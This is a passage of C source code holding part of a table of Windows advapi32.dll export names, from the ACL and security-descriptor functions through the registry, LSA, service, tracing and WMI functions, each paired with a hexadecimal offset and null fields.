NULL},\n\t{\"GetAuditedPermissionsFromAclA\", 0x00051C5F, NULL, NULL},\n\t{\"GetAuditedPermissionsFromAclW\", 0x00051C0E, NULL, NULL},\n\t{\"GetCurrentHwProfileA\", 0x0003CA61, NULL, NULL},\n\t{\"GetCurrentHwProfileW\", 0x00020A75, NULL, NULL},\n\t{\"GetEffectiveRightsFromAclA\", 0x00051B97, NULL, NULL},\n\t{\"GetEffectiveRightsFromAclW\", 0x00051B37, NULL, NULL},\n\t{\"GetEventLogInformation\", 0x00020FE8, NULL, NULL},\n\t{\"GetExplicitEntriesFromAclA\", 0x00051C01, NULL, NULL},\n\t{\"GetExplicitEntriesFromAclW\", 0x00051BE3, NULL, NULL},\n\t{\"GetFileSecurityA\", 0x0003D723, NULL, NULL},\n\t{\"GetFileSecurityW\", 0x0002C003, NULL, NULL},\n\t{\"GetInformationCodeAuthzLevelW\", 0x0001FCF0, NULL, NULL},\n\t{\"GetInformationCodeAuthzPolicyW\", 0x000299DD, NULL, NULL},\n\t{\"GetInheritanceSourceA\", 0x000524A7, NULL, NULL},\n\t{\"GetInheritanceSourceW\", 0x0005246C, NULL, NULL},\n\t{\"GetKernelObjectSecurity\", 0x00014F65, NULL, NULL},\n\t{\"GetLengthSid\", 0x00007D5C, NULL, NULL},\n\t{\"GetLocalManagedApplicationData\", 0x0004D48B, NULL, NULL},\n\t{\"GetLocalManagedApplications\", 0x0004D25A, NULL, NULL},\n\t{\"GetManagedApplicationCategories\", 0x0004D767, NULL, NULL},\n\t{\"GetManagedApplications\", 0x0004D6AF, NULL, NULL},\n\t{\"GetMultipleTrusteeA\", 0x00052698, NULL, NULL},\n\t{\"GetMultipleTrusteeOperationA\", 0x0005267C, NULL, NULL},\n\t{\"GetMultipleTrusteeOperationW\", 0x0005267C, NULL, NULL},\n\t{\"GetMultipleTrusteeW\", 0x00052698, NULL, NULL},\n\t{\"GetNamedSecurityInfoA\", 0x000518E4, NULL, NULL},\n\t{\"GetNamedSecurityInfoExA\", 0x00052881, NULL, NULL},\n\t{\"GetNamedSecurityInfoExW\", 0x000526B3, NULL, NULL},\n\t{\"GetNamedSecurityInfoW\", 0x00014FE6, NULL, NULL},\n\t{\"GetNumberOfEventLogRecords\", 0x00025D8B, NULL, NULL},\n\t{\"GetOldestEventLogRecord\", 0x00025E20, NULL, NULL},\n\t{\"GetOverlappedAccessResults\", 0x000535F1, NULL, NULL},\n\t{\"GetPrivateObjectSecurity\", 0x0003D689, NULL, NULL},\n\t{\"GetSecurityDescriptorControl\", 0x00014BB9, NULL, NULL},\n\t{\"GetSecurityDescriptorDacl\", 0x000073E7, NULL, NULL},\n\t{\"GetSecurityDescriptorGroup\", 0x00014B87, NULL, NULL},\n\t{\"GetSecurityDescriptorLength\", 0x000074BB, NULL, NULL},\n\t{\"GetSecurityDescriptorOwner\", 0x00014B55, NULL, NULL},\n\t{\"GetSecurityDescriptorRMControl\", 0x0003DDE0, NULL, NULL},\n\t{\"GetSecurityDescriptorSacl\", 0x0003D52C, NULL, NULL},\n\t{\"GetSecurityInfo\", 0x00024E48, NULL, NULL},\n\t{\"GetSecurityInfoExA\", 0x00052C32, NULL, NULL},\n\t{\"GetSecurityInfoExW\", 0x00052A2F, NULL, NULL},\n\t{\"GetServiceDisplayNameA\", 0x00067699, NULL, NULL},\n\t{\"GetServiceDisplayNameW\", 0x00067739, NULL, NULL},\n\t{\"GetServiceKeyNameA\", 0x000677D9, NULL, NULL},\n\t{\"GetServiceKeyNameW\", 0x00067879, NULL, NULL},\n\t{\"GetSidIdentifierAuthority\", 0x0000F23B, NULL, NULL},\n\t{\"GetSidLengthRequired\", 0x00015569, NULL, NULL},\n\t{\"GetSidSubAuthority\", 0x00015550, NULL, NULL},\n\t{\"GetSidSubAuthorityCount\", 0x00015582, NULL, NULL},\n\t{\"GetTokenInformation\", 0x00007305, NULL, NULL},\n\t{\"GetTraceEnableFlags\", 0x0005AD86, NULL, NULL},\n\t{\"GetTraceEnableLevel\", 0x0005AD41, NULL, NULL},\n\t{\"GetTraceLoggerHandle\", 0x0005AC89, NULL, NULL},\n\t{\"GetTrusteeFormA\", 0x0005265F, NULL, NULL},\n\t{\"GetTrusteeFormW\", 0x0005265F, NULL, NULL},\n\t{\"GetTrusteeNameA\", 0x0005262F, NULL, NULL},\n\t{\"GetTrusteeNameW\", 0x0005262F, NULL, NULL},\n\t{\"GetTrusteeTypeA\", 0x00052643, NULL, NULL},\n\t{\"GetTrusteeTypeW\", 0x00052643, NULL, NULL},\n\t{\"GetUserNameA\", 0x000154C4, NULL, NULL},\n\t{\"GetUserNameW\", 0x0001496D, NULL, NULL},\n\t{\"GetWindowsAccountDomainSid\", 0x0003DE21, NULL, NULL},\n\t{\"I_ScIsSecurityProcess\", 0x000211E8, NULL, NULL},\n\t{\"I_ScPnPGetServiceName\", 0x00026EA0, NULL, NULL},\n\t{\"I_ScSendTSMessage\", 0x00024F2B, NULL, NULL},\n\t{\"I_ScSetServiceBitsA\", 0x00066B69, NULL, NULL},\n\t{\"I_ScSetServiceBitsW\", 0x0001E429, NULL, NULL},\n\t{\"IdentifyCodeAuthzLevelW\", 0x00009EC8, NULL, NULL},\n\t{\"ImpersonateAnonymousToken\", 0x00014C5B, NULL, NULL},\n\t{\"ImpersonateLoggedOnUser\", 0x0000DA49, NULL, NULL},\n\t{\"ImpersonateNamedPipeClient\", 0x00007426, NULL, NULL},\n\t{\"ImpersonateSelf\", 0x00014EE0, NULL, NULL},\n\t{\"InitializeAcl\", 0x00007D09, NULL, NULL},\n\t{\"InitializeSecurityDescriptor\", 0x000079C6, NULL, NULL},\n\t{\"InitializeSid\", 0x0001568B, NULL, NULL},\n\t{\"InitiateSystemShutdownA\", 0x00064D7F, NULL, NULL},\n\t{\"InitiateSystemShutdownExA\", 0x00064E1A, NULL, NULL},\n\t{\"InitiateSystemShutdownExW\", 0x00064CE5, NULL, NULL},\n\t{\"InitiateSystemShutdownW\", 0x00064C51, NULL, NULL},\n\t{\"InstallApplication\", 0x0004D7B7, NULL, NULL},\n\t{\"IsTextUnicode\", 0x0002BD35, NULL, NULL},\n\t{\"IsTokenRestricted\", 0x000148C9, NULL, NULL},\n\t{\"IsTokenUntrusted\", 0x0004EC9E, NULL, NULL},\n\t{\"IsValidAcl\", 0x00027F17, NULL, NULL},\n\t{\"IsValidSecurityDescriptor\", 0x00014C11, NULL, NULL},\n\t{\"IsValidSid\", 0x0000F219, NULL, NULL},\n\t{\"IsWellKnownSid\", 0x000278AB, NULL, NULL},\n\t{\"LockServiceDatabase\", 0x00067919, NULL, NULL},\n\t{\"LogonUserA\", 0x0004100E, NULL, NULL},\n\t{\"LogonUserExA\", 0x0004103B, NULL, NULL},\n\t{\"LogonUserExExW\", 0x0004012A, NULL, NULL},\n\t{\"LogonUserExW\", 0x000245A3, NULL, NULL},\n\t{\"LogonUserW\", 0x000400FD, NULL, NULL},\n\t{\"LookupAccountNameA\", 0x0003D78F, NULL, NULL},\n\t{\"LookupAccountNameW\", 0x00015B59, NULL, NULL},\n\t{\"LookupAccountSidA\", 0x0003D8EC, NULL, NULL},\n\t{\"LookupAccountSidW\", 0x00015707, NULL, NULL},\n\t{\"LookupPrivilegeDisplayNameA\", 0x0003E46C, NULL, NULL},\n\t{\"LookupPrivilegeDisplayNameW\", 0x0003DB6F, NULL, NULL},\n\t{\"LookupPrivilegeNameA\", 0x0003E34E, NULL, NULL},\n\t{\"LookupPrivilegeNameW\", 0x0003DA6B, NULL, NULL},\n\t{\"LookupPrivilegeValueA\", 0x0002C238, NULL, NULL},\n\t{\"LookupPrivilegeValueW\", 0x0002B8DF, NULL, NULL},\n\t{\"LookupSecurityDescriptorPartsA\", 0x00052180, NULL, NULL},\n\t{\"LookupSecurityDescriptorPartsW\", 0x00051FD1, NULL, NULL},\n\t{\"LsaAddAccountRights\", 0x0004ABF1, NULL, NULL},\n\t{\"LsaAddPrivilegesToAccount\", 0x0004BB09, NULL, NULL},\n\t{\"LsaClearAuditLog\", 0x0004B069, NULL, NULL},\n\t{\"LsaClose\", 0x00011EF4, NULL, NULL},\n\t{\"LsaCreateAccount\", 0x0004B431, NULL, NULL},\n\t{\"LsaCreateSecret\", 0x0004B991, NULL, NULL},\n\t{\"LsaCreateTrustedDomain\", 0x0004B539, NULL, NULL},\n\t{\"LsaCreateTrustedDomainEx\", 0x0004A1B1, NULL, NULL},\n\t{\"LsaDelete\", 0x0004B201, NULL, NULL},\n\t{\"LsaDeleteTrustedDomain\", 0x00049965, NULL, NULL},\n\t{\"LsaEnumerateAccountRights\", 0x000160AF, NULL, NULL},\n\t{\"LsaEnumerateAccounts\", 0x0004B4A1, NULL, NULL},\n\t{\"LsaEnumerateAccountsWithUserRight\", 0x0004AB39, NULL, NULL},\n\t{\"LsaEnumeratePrivileges\", 0x0004B8F9, NULL, NULL},\n\t{\"LsaEnumeratePrivilegesOfAccount\", 0x0004BA99, NULL, NULL},\n\t{\"LsaEnumerateTrustedDomains\", 0x0004B855, NULL, NULL},\n\t{\"LsaEnumerateTrustedDomainsEx\", 0x0004A10D, NULL, NULL},\n\t{\"LsaFreeMemory\", 0x00012DDE, NULL, NULL},\n\t{\"LsaGetQuotasForAccount\", 0x0004BBE9, NULL, NULL},\n\t{\"LsaGetRemoteUserName\", 0x0004C155, NULL, NULL},\n\t{\"LsaGetSystemAccessAccount\", 0x0004BCC9, NULL, NULL},\n\t{\"LsaGetUserName\", 0x0001E2D2, NULL, NULL},\n\t{\"LsaICLookupNames\", 0x00015D38, NULL, NULL},\n\t{\"LsaICLookupNamesWithCreds\", 0x0004C271, NULL, NULL},\n\t{\"LsaICLookupSids\", 0x000159C5, NULL, NULL},\n\t{\"LsaICLookupSidsWithCreds\", 0x0004C401, NULL, NULL},\n\t{\"LsaLookupNames2\", 0x00015CEE, NULL, NULL},\n\t{\"LsaLookupNames\", 0x0004C5E9, NULL, NULL},\n\t{\"LsaLookupPrivilegeDisplayName\", 0x0004B159, NULL, NULL},\n\t{\"LsaLookupPrivilegeName\", 0x0004B0D1, NULL, NULL},\n\t{\"LsaLookupPrivilegeValue\", 0x0002B97D, NULL, NULL},\n\t{\"LsaLookupSids\", 0x000158BB, NULL, NULL},\n\t{\"LsaNtStatusToWinError\", 0x0001E01B, NULL, NULL},\n\t{\"LsaOpenAccount\", 0x0004BA29, NULL, NULL},\n\t{\"LsaOpenPolicy\", 0x00011E27, NULL, NULL},\n\t{\"LsaOpenPolicySce\", 0x0004AEA0, NULL, NULL},\n\t{\"LsaOpenSecret\", 0x0004BDB9, NULL, NULL},\n\t{\"LsaOpenTrustedDomain\", 0x0004B5B1, NULL, NULL},\n\t{\"LsaOpenTrustedDomainByName\", 0x0004A3C1, NULL, NULL},\n\t{\"LsaQueryDomainInformationPolicy\", 0x0004A2C5, NULL, NULL},\n\t{\"LsaQueryForestTrustInformation\", 0x0004A431, NULL, NULL},\n\t{\"LsaQueryInfoTrustedDomain\", 0x0004B621, NULL, NULL},\n\t{\"LsaQueryInformationPolicy\", 0x00012E07, NULL, NULL},\n\t{\"LsaQuerySecret\", 0x0004BF8D, NULL, NULL},\n\t{\"LsaQuerySecurityObject\", 0x0004B2CD, NULL, NULL},\n\t{\"LsaQueryTrustedDomainInfo\", 0x00049528, NULL, NULL},\n\t{\"LsaQueryTrustedDomainInfoByName\", 0x00049CE7, NULL, NULL},\n\t{\"LsaRemoveAccountRights\", 0x0004AC91, NULL, NULL},\n\t{\"LsaRemovePrivilegesFromAccount\", 0x0004BB79, NULL, NULL},\n\t{\"LsaRetrievePrivateData\", 0x0001DE9E, NULL, NULL},\n\t{\"LsaSetDomainInformationPolicy\", 0x0004A341, NULL, NULL},\n\t{\"LsaSetForestTrustInformation\", 0x0004A4A1, NULL, NULL},\n\t{\"LsaSetInformationPolicy\", 0x0004AFA9, NULL, NULL},\n\t{\"LsaSetInformationTrustedDomain\", 0x0004B6C1, NULL, NULL},\n\t{\"LsaSetQuotasForAccount\", 0x0004BC59, NULL, NULL},\n\t{\"LsaSetSecret\", 0x0004BE29, NULL, NULL},\n\t{\"LsaSetSecurityObject\", 0x0004B359, NULL, NULL},\n\t{\"LsaSetSystemAccessAccount\", 0x0004BD41, NULL, NULL},\n\t{\"LsaSetTrustedDomainInfoByName\", 0x00049F92, NULL, NULL},\n\t{\"LsaSetTrustedDomainInformation\", 0x00049795, NULL, NULL},\n\t{\"LsaStorePrivateData\", 0x0002D03F, NULL, NULL},\n\t{\"MD4Final\", 0x0000879F, NULL, NULL},\n\t{\"MD4Init\", 0x0000876B, NULL, NULL},\n\t{\"MD4Update\", 0x00008D04, NULL, NULL},\n\t{\"MD5Final\", 0x000170B2, NULL, NULL},\n\t{\"MD5Init\", 0x00017078, NULL, NULL},\n\t{\"MD5Update\", 0x00017152, NULL, NULL},\n\t{\"MSChapSrvChangePassword2\", 0x000457E7, NULL, NULL},\n\t{\"MSChapSrvChangePassword\", 0x00045603, NULL, NULL},\n\t{\"MakeAbsoluteSD2\", 0x0003DDB5, NULL, NULL},\n\t{\"MakeAbsoluteSD\", 0x00027ED1, NULL, NULL},\n\t{\"MakeSelfRelativeSD\", 0x0000745E, NULL, NULL},\n\t{\"MapGenericMask\", 0x0001484B, NULL, NULL},\n\t{\"NotifyBootConfigStatus\", 0x00020F79, NULL, NULL},\n\t{\"NotifyChangeEventLog\", 0x0003C23B, NULL, NULL},\n\t{\"ObjectCloseAuditAlarmA\", 0x0003E21C, NULL, NULL},\n\t{\"ObjectCloseAuditAlarmW\", 0x00014813, NULL, NULL},\n\t{\"ObjectDeleteAuditAlarmA\", 0x0003E270, NULL, NULL},\n\t{\"ObjectDeleteAuditAlarmW\", 0x0003D258, NULL, NULL},\n\t{\"ObjectOpenAuditAlarmA\", 0x0003E0D6, NULL, NULL},\n\t{\"ObjectOpenAuditAlarmW\", 0x0001485C, NULL, NULL},\n\t{\"ObjectPrivilegeAuditAlarmA\", 0x0003E1BF, NULL, NULL},\n\t{\"ObjectPrivilegeAuditAlarmW\", 0x0003D211, NULL, NULL},\n\t{\"OpenBackupEventLogA\", 0x0003C949, NULL, NULL},\n\t{\"OpenBackupEventLogW\", 0x0003C490, NULL, NULL},\n\t{\"OpenEncryptedFileRawA\", 0x00043874, NULL, NULL},\n\t{\"OpenEncryptedFileRawW\", 0x0004343E, NULL, NULL},\n\t{\"OpenEventLogA\", 0x00025EB0, NULL, NULL},\n\t{\"OpenEventLogW\", 0x00021088, NULL, NULL},\n\t{\"OpenProcessToken\", 0x0000798B, NULL, NULL},\n\t{\"OpenSCManagerA\", 0x000269AE, NULL, NULL},\n\t{\"OpenSCManagerW\", 0x00016F55, NULL, NULL},\n\t{\"OpenServiceA\", 0x00024C66, NULL, NULL},\n\t{\"OpenServiceW\", 0x00016FFD, NULL, NULL},\n\t{\"OpenThreadToken\", 0x000072CC, NULL, NULL},\n\t{\"OpenTraceA\", 0x0005853A, NULL, NULL},\n\t{\"OpenTraceW\", 0x00058651, NULL, NULL},\n\t{\"PrivilegeCheck\", 0x0002BAB4, NULL, NULL},\n\t{\"PrivilegedServiceAuditAlarmA\", 0x0003E2C4, NULL, NULL},\n\t{\"PrivilegedServiceAuditAlarmW\", 0x0003D296, NULL, NULL},\n\t{\"ProcessIdleTasks\", 0x00046F19, NULL, NULL},\n\t{\"ProcessTrace\", 0x00058E84, NULL, NULL},\n\t{\"QueryAllTracesA\", 0x0005AB39, NULL, NULL},\n\t{\"QueryAllTracesW\", 0x0002CBF1, NULL, NULL},\n\t{\"QueryRecoveryAgentsOnEncryptedFile\", 0x0004350D, NULL, NULL},\n\t{\"QueryServiceConfig2A\", 0x00067999, NULL, NULL},\n\t{\"QueryServiceConfig2W\", 0x00067AB1, NULL, NULL},\n\t{\"QueryServiceConfigA\", 0x00021596, NULL, NULL},\n\t{\"QueryServiceConfigW\", 0x00026F92, NULL, NULL},\n\t{\"QueryServiceLockStatusA\", 0x00067BC9, NULL, NULL},\n\t{\"QueryServiceLockStatusW\", 0x00067C59, NULL, NULL},\n\t{\"QueryServiceObjectSecurity\", 0x00066D01, NULL, NULL},\n\t{\"QueryServiceStatus\", 0x00016D50, NULL, NULL},\n\t{\"QueryServiceStatusEx\", 0x0002120A, NULL, NULL},\n\t{\"QueryTraceA\", 0x0005AFF5, NULL, NULL},\n\t{\"QueryTraceW\", 0x0005B016, NULL, NULL},\n\t{\"QueryUsersOnEncryptedFile\", 0x000434B2, NULL, NULL},\n\t{\"QueryWindows31FilesMigration\", 0x00021B21, NULL, NULL},\n\t{\"ReadEncryptedFileRaw\", 0x00043470, NULL, NULL},\n\t{\"ReadEventLogA\", 0x00025C9C, NULL, NULL},\n\t{\"ReadEventLogW\", 0x0003C823, NULL, NULL},\n\t{\"RegCloseKey\", 0x00006C27, NULL, NULL},\n\t{\"RegConnectRegistryA\", 0x0006512A, NULL, NULL},\n\t{\"RegConnectRegistryW\", 0x0002817A, NULL, NULL},\n\t{\"RegCreateKeyA\", 0x0002BCF3, NULL, NULL},\n\t{\"RegCreateKeyExA\", 0x0000E9F4, NULL, NULL},\n\t{\"RegCreateKeyExW\", 0x0000776C, NULL, NULL},\n\t{\"RegCreateKeyW\", 0x0002BA55, NULL, NULL},\n\t{\"RegDeleteKeyA\", 0x000142A0, NULL, NULL},\n\t{\"RegDeleteKeyW\", 0x0001559B, NULL, NULL},\n\t{\"RegDeleteValueA\", 0x0000ECE5, NULL, NULL},\n\t{\"RegDeleteValueW\", 0x0000EDF1, NULL, NULL},\n\t{\"RegDisablePredefinedCache\", 0x0002837B, NULL, NULL},\n\t{\"RegDisablePredefinedCacheEx\", 0x00064F7D, NULL, NULL},\n\t{\"RegEnumKeyA\", 0x000153B8, NULL, NULL},\n\t{\"RegEnumKeyExA\", 0x000151B6, NULL, NULL},\n\t{\"RegEnumKeyExW\", 0x00007BD9, NULL, NULL},\n\t{\"RegEnumKeyW\", 0x0000D5E4, NULL, NULL},\n\t{\"RegEnumValueA\", 0x00029BBF, NULL, NULL},\n\t{\"RegEnumValueW\", 0x00007EED, NULL, NULL},\n\t{\"RegFlushKey\", 0x00024CE0, NULL, NULL},\n\t{\"RegGetKeySecurity\", 0x00023918, NULL, NULL},\n\t{\"RegLoadKeyA\", 0x00065183, NULL, NULL},\n\t{\"RegLoadKeyW\", 0x00020D86, NULL, NULL},\n\t{\"RegNotifyChangeKeyValue\", 0x0000D8FE, NULL, NULL},\n\t{\"RegOpenCurrentUser\", 0x0000811B, NULL, NULL},\n\t{\"RegOpenKeyA\", 0x0000EFC8, NULL, NULL},\n\t{\"RegOpenKeyExA\", 0x00007852, NULL, NULL},\n\t{\"RegOpenKeyExW\", 0x00006AAF, NULL, NULL},\n\t{\"RegOpenKeyW\", 0x00007946, NULL, NULL},\n\t{\"RegOpenUserClassesRoot\", 0x0002B461, NULL, NULL},\n\t{\"RegOverridePredefKey\", 0x00064F14, NULL, NULL},\n\t{\"RegQueryInfoKeyA\", 0x00014332, NULL, NULL},\n\t{\"RegQueryInfoKeyW\", 0x000149CE, NULL, NULL},\n\t{\"RegQueryMultipleValuesA\", 0x0006568F, NULL, NULL},\n\t{\"RegQueryMultipleValuesW\", 0x000659F1, NULL, NULL},\n\t{\"RegQueryValueA\", 0x0002BB8D, NULL, NULL},\n\t{\"RegQueryValueExA\", 0x00007ABB, NULL, NULL},\n\t{\"RegQueryValueExW\", 0x00006FFF, NULL, NULL},\n\t{\"RegQueryValueW\", 0x0000D87A, NULL, NULL},\n\t{\"RegReplaceKeyA\", 0x000653F7, NULL, NULL},\n\t{\"RegReplaceKeyW\", 0x000655C0, NULL, NULL},\n\t{\"RegRestoreKeyA\", 0x00065C4D, NULL, NULL},\n\t{\"RegRestoreKeyW\", 0x00065CFE, NULL, NULL},\n\t{\"RegSaveKeyA\", 0x00065D92, NULL, NULL},\n\t{\"RegSaveKeyExA\", 0x00065F51, NULL, NULL},\n\t{\"RegSaveKeyExW\", 0x00066046, NULL, NULL},\n\t{\"RegSaveKeyW\", 0x00065E84, NULL, NULL},\n\t{\"RegSetKeySecurity\", 0x00023AFD, NULL, NULL},\n\t{\"RegSetValueA\", 0x0002C79E, NULL, NULL},\n\t{\"RegSetValueExA\", 0x0000EAE7, NULL, NULL},\n\t{\"RegSetValueExW\", 0x0000D767, NULL, NULL},\n\t{\"RegSetValueW\", 0x00066116, NULL, NULL},\n\t{\"RegUnLoadKeyA\", 0x000652C5, NULL, NULL},\n\t{\"RegUnLoadKeyW\", 0x00065366, NULL, NULL},\n\t{\"RegisterEventSourceA\", 0x00027B60, NULL, NULL},\n\t{\"RegisterEventSourceW\", 0x0002803C, NULL, NULL},\n\t{\"RegisterIdleTask\", 0x000208D2, NULL, NULL},\n\t{\"RegisterServiceCtrlHandlerA\", 0x00024EC6, NULL, NULL},\n\t{\"RegisterServiceCtrlHandlerExA\", 0x0001FEAB, NULL, NULL},\n\t{\"RegisterServiceCtrlHandlerExW\", 0x00023E49, NULL, NULL},\n\t{\"RegisterServiceCtrlHandlerW\", 0x00023E77, NULL, NULL},\n\t{\"RegisterTraceGuidsA\", 0x000295A1, NULL, NULL},\n\t{\"RegisterTraceGuidsW\", 0x00029289, NULL, NULL},\n\t{\"RemoveTraceCallback\", 0x00056331, NULL, NULL},\n\t{\"RemoveUsersFromEncryptedFile\", 0x00043548, NULL, NULL},\n\t{\"ReportEventA\", 0x00027CB2, NULL, NULL},\n\t{\"ReportEventW\", 0x00023681, NULL, NULL},\n\t{\"RevertToSelf\", 0x00007338, NULL, NULL},\n\t{\"SaferCloseLevel\", 0x0000AF98, NULL, NULL},\n\t{\"SaferComputeTokenFromLevel\", 0x0000AB3D, NULL, NULL},\n\t{\"SaferCreateLevel\", 0x0004E9C5, NULL, NULL},\n\t{\"SaferGetLevelInformation\", 0x0001FCF0, NULL, NULL},\n\t{\"SaferGetPolicyInformation\", 0x000299DD, NULL, NULL},\n\t{\"SaferIdentifyLevel\", 0x00009EC8, NULL, NULL},\n\t{\"SaferRecordEventLogEntry\", 0x0004F78D, NULL, NULL},\n\t{\"SaferSetLevelInformation\", 0x0005054D, NULL, NULL},\n\t{\"SaferSetPolicyInformation\", 0x0004F3E0, NULL, NULL},\n\t{\"SaferiChangeRegistryScope\", 0x00050985, NULL, NULL},\n\t{\"SaferiCompareTokenLevels\", 0x000268C3, NULL, NULL},\n\t{\"SaferiIsExecutableFileType\", 0x000298AB, NULL, NULL},\n\t{\"SaferiPopulateDefaultsInRegistry\", 0x0001EF84, NULL, NULL},\n\t{\"SaferiRecordEventLogEntry\", 0x0004F78D, NULL, NULL},\n\t{\"SaferiReplaceProcessThreadTokens\", 0x000405AA, NULL, NULL},\n\t{\"SaferiSearchMatchingHashRules\", 0x0002C8B1, NULL, NULL},\n\t{\"SetAclInformation\", 0x0003D30E, NULL, NULL},\n\t{\"SetEntriesInAccessListA\", 0x000532D4, NULL, NULL},\n\t{\"SetEntriesInAccessListW\", 0x0005329B, NULL, NULL},\n\t{\"SetEntriesInAclA\", 0x00051979, NULL, NULL},\n\t{\"SetEntriesInAclW\", 0x00014EC2, NULL, NULL},\n\t{\"SetEntriesInAuditListA\", 0x00053334, NULL, NULL},\n\t{\"SetEntriesInAuditListW\", 0x0005330D, NULL, NULL},\n\t{\"SetFileSecurityA\", 0x0003D6BD, NULL, NULL},\n\t{\"SetFileSecurityW\", 0x0001A3E1, NULL, NULL},\n\t{\"SetInformationCodeAuthzLevelW\", 0x0005054D, NULL, NULL},\n\t{\"SetInformationCodeAuthzPolicyW\", 0x0004F3E0, NULL, NULL},\n\t{\"SetKernelObjectSecurity\", 0x00014E9A, NULL, NULL},\n\t{\"SetNamedSecurityInfoA\", 0x00051930, NULL, NULL},\n\t{\"SetNamedSecurityInfoExA\", 0x00053B99, NULL, NULL},\n\t{\"SetNamedSecurityInfoExW\", 0x0005399E, NULL, NULL},\n\t{\"SetNamedSecurityInfoW\", 0x00020CF5, NULL, NULL},\n\t{\"SetPrivateObjectSecurity\", 0x0003D61E, NULL, NULL},\n\t{\"SetPrivateObjectSecurityEx\", 0x0003D652, NULL, NULL},\n\t{\"SetSecurityDescriptorControl\", 0x0001E531, NULL, NULL},\n\t{\"SetSecurityDescriptorDacl\", 0x000079EB, NULL, NULL},\n\t{\"SetSecurityDescriptorGroup\", 0x00014B2D, NULL, NULL},\n\t{\"SetSecurityDescriptorOwner\", 0x00014B05, NULL, NULL},\n\t{\"SetSecurityDescriptorRMControl\", 0x0003DE05, NULL, NULL},\n\t{\"SetSecurityDescriptorSacl\", 0x00024E8E, NULL, NULL},\n\t{\"SetSecurityInfo\", 0x00024DF2, NULL, NULL},\n\t{\"SetSecurityInfoExA\", 0x00054059, NULL, NULL},\n\t{\"SetSecurityInfoExW\", 0x00053E51, NULL, NULL},\n\t{\"SetServiceBits\", 0x00066BF9, NULL, NULL},\n\t{\"SetServiceObjectSecurity\", 0x00066D81, NULL, NULL},\n\t{\"SetServiceStatus\", 0x00023251, NULL, NULL},\n\t{\"SetThreadToken\", 0x0000F193, NULL, NULL},\n\t{\"SetTokenInformation\", 0x0003CBCF, NULL, NULL},\n\t{\"SetTraceCallback\", 0x000561B4, NULL, NULL},\n\t{\"SetUserFileEncryptionKey\", 0x000435BE, NULL, NULL},\n\t{\"StartServiceA\", 0x0001FB58, NULL, NULL},\n\t{\"StartServiceCtrlDispatcherA\", 0x00067F09, NULL, NULL},\n\t{\"StartServiceCtrlDispatcherW\", 0x0002359D, NULL, NULL},\n\t{\"StartServiceW\", 0x00023E94, NULL, NULL},\n\t{\"StartTraceA\", 0x000594FB, NULL, NULL},\n\t{\"StartTraceW\", 0x00059A61, NULL, NULL},\n\t{\"StopTraceA\", 0x0005B037, NULL, NULL},\n\t{\"StopTraceW\", 0x0005B058, NULL, NULL},\n\t{\"SynchronizeWindows31FilesAndWindowsNTRegistry\", 0x0003EEB9, NULL, NULL},\n\t{\"SystemFunction001\", 0x0001D7BA, NULL, NULL},\n\t{\"SystemFunction002\", 0x0001CF65, NULL, NULL},\n\t{\"SystemFunction003\", 0x00025416, NULL, NULL},\n\t{\"SystemFunction004\", 0x0001D917, NULL, NULL},\n\t{\"SystemFunction005\", 0x0001DC9F, NULL, NULL},\n\t{\"SystemFunction006\", 0x00025387, NULL, NULL},\n\t{\"SystemFunction007\", 0x000252AE, NULL, NULL},\n\t{\"SystemFunction008\", 0x0002554D, NULL, NULL},\n\t{\"SystemFunction009\", 0x00025540, NULL, NULL},\n\t{\"SystemFunction010\", 0x000255FC, NULL, NULL},\n\t{\"SystemFunction011\", 0x000255EF, NULL, NULL},\n\t{\"SystemFunction012\", 0x00047091, NULL, NULL},\n\t{\"SystemFunction013\", 0x000470CB, NULL, NULL},\n\t{\"SystemFunction014\", 0x00047105, NULL, NULL},\n\t{\"SystemFunction015\", 0x00047112, NULL, NULL},\n\t{\"SystemFunction016\", 0x0004711F, NULL, NULL},\n\t{\"SystemFunction017\", 0x00047155, NULL, NULL},\n\t{\"SystemFunction018\", 0x0004718B, NULL, NULL},\n\t{\"SystemFunction019\", 0x00047198, NULL, NULL},\n\t{\"SystemFunction020\", 0x00047105, NULL, NULL},\n\t{\"SystemFunction021\", 0x00047112, NULL, NULL},\n\t{\"SystemFunction022\", 0x00047105, NULL, NULL},\n\t{\"SystemFunction023\", 0x00047112, NULL, NULL},\n\t{\"SystemFunction024\", 0x000471A5, NULL, NULL},\n\t{\"SystemFunction025\", 0x00024BD4, NULL, NULL},\n\t{\"SystemFunction026\", 0x000471FD, NULL, NULL},\n\t{\"SystemFunction027\", 0x00024BC7, NULL, NULL},\n\t{\"SystemFunction028\", 0x0001DD8D, NULL, NULL},\n\t{\"SystemFunction029\", 0x0001DB2C, NULL, NULL},\n\t{\"SystemFunction030\", 0x00024BA5, NULL, NULL},\n\t{\"SystemFunction031\", 0x00024BA5, NULL, NULL},\n\t{\"SystemFunction032\", 0x0004720A, NULL, NULL},\n\t{\"SystemFunction033\", 0x0004720A, NULL, NULL},\n\t{\"SystemFunction034\", 0x0001DDC6, NULL, NULL},\n\t{\"SystemFunction035\", 0x00018185, NULL, NULL},\n\t{\"SystemFunction036\", 0x000082A2, NULL, NULL},\n\t{\"SystemFunction040\", 0x00027014, NULL, NULL},\n\t{\"SystemFunction041\", 0x0001E4D2, NULL, NULL},\n\t{\"TraceEvent\", 0x0005A901, NULL, NULL},\n\t{\"TraceEventInstance\", 0x0005AA01, NULL, NULL},\n\t{\"TraceMessage\", 0x0005B355, NULL, NULL},\n\t{\"TraceMessageVa\", 0x0005B3E9, NULL, NULL},\n\t{\"TreeResetNamedSecurityInfoA\", 0x00052461, NULL, NULL},\n\t{\"TreeResetNamedSecurityInfoW\", 0x000523DF, NULL, NULL},\n\t{\"TrusteeAccessToObjectA\", 0x00053439, NULL, NULL},\n\t{\"TrusteeAccessToObjectW\", 0x0005335B, NULL, NULL},\n\t{\"UninstallApplication\", 0x0004D20C, NULL, NULL},\n\t{\"UnlockServiceDatabase\", 0x00067CE9, NULL, NULL},\n\t{\"UnregisterIdleTask\", 0x00046FA9, NULL, NULL},\n\t{\"UnregisterTraceGuids\", 0x000256DD, NULL, NULL},\n\t{\"UpdateTraceA\", 0x0005B079, NULL, NULL},\n\t{\"UpdateTraceW\", 0x0005B09A, NULL, NULL},\n\t{\"WdmWmiServiceMain\", 0x0005B4DA, NULL, NULL},\n\t{\"WmiCloseBlock\", 0x0001FE04, NULL, NULL},\n\t{\"WmiCloseTraceWithCursor\", 0x00057871, NULL, NULL},\n\t{\"WmiConvertTimestamp\", 0x000578BE, NULL, NULL},\n\t{\"WmiDevInstToInstanceNameA\", 0x0005C681, NULL, NULL},\n\t{\"WmiDevInstToInstanceNameW\", 0x0005C73D, 